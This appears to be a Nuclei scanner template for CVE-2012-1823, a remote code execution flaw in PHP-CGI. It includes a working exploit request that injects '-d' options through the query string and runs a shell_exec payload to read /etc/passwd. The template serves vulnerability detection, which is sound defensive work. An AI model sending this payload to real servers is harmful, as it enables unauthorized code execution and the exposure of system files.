39 lines
1.3 KiB
YAML
39 lines
1.3 KiB
YAML
id: CVE-2012-1823
|
|
|
|
info:
|
|
name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: |
|
|
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
|
|
- https://bugs.php.net/bug.php?id=61910
|
|
- http://www.php.net/ChangeLog-5.php#5.4.2
|
|
classification:
|
|
cve-id: CVE-2012-1823
|
|
tags: cve2012,kev,vulhub,rce,php,cve
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
<?php echo shell_exec("cat /etc/passwd"); ?>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/04/04
|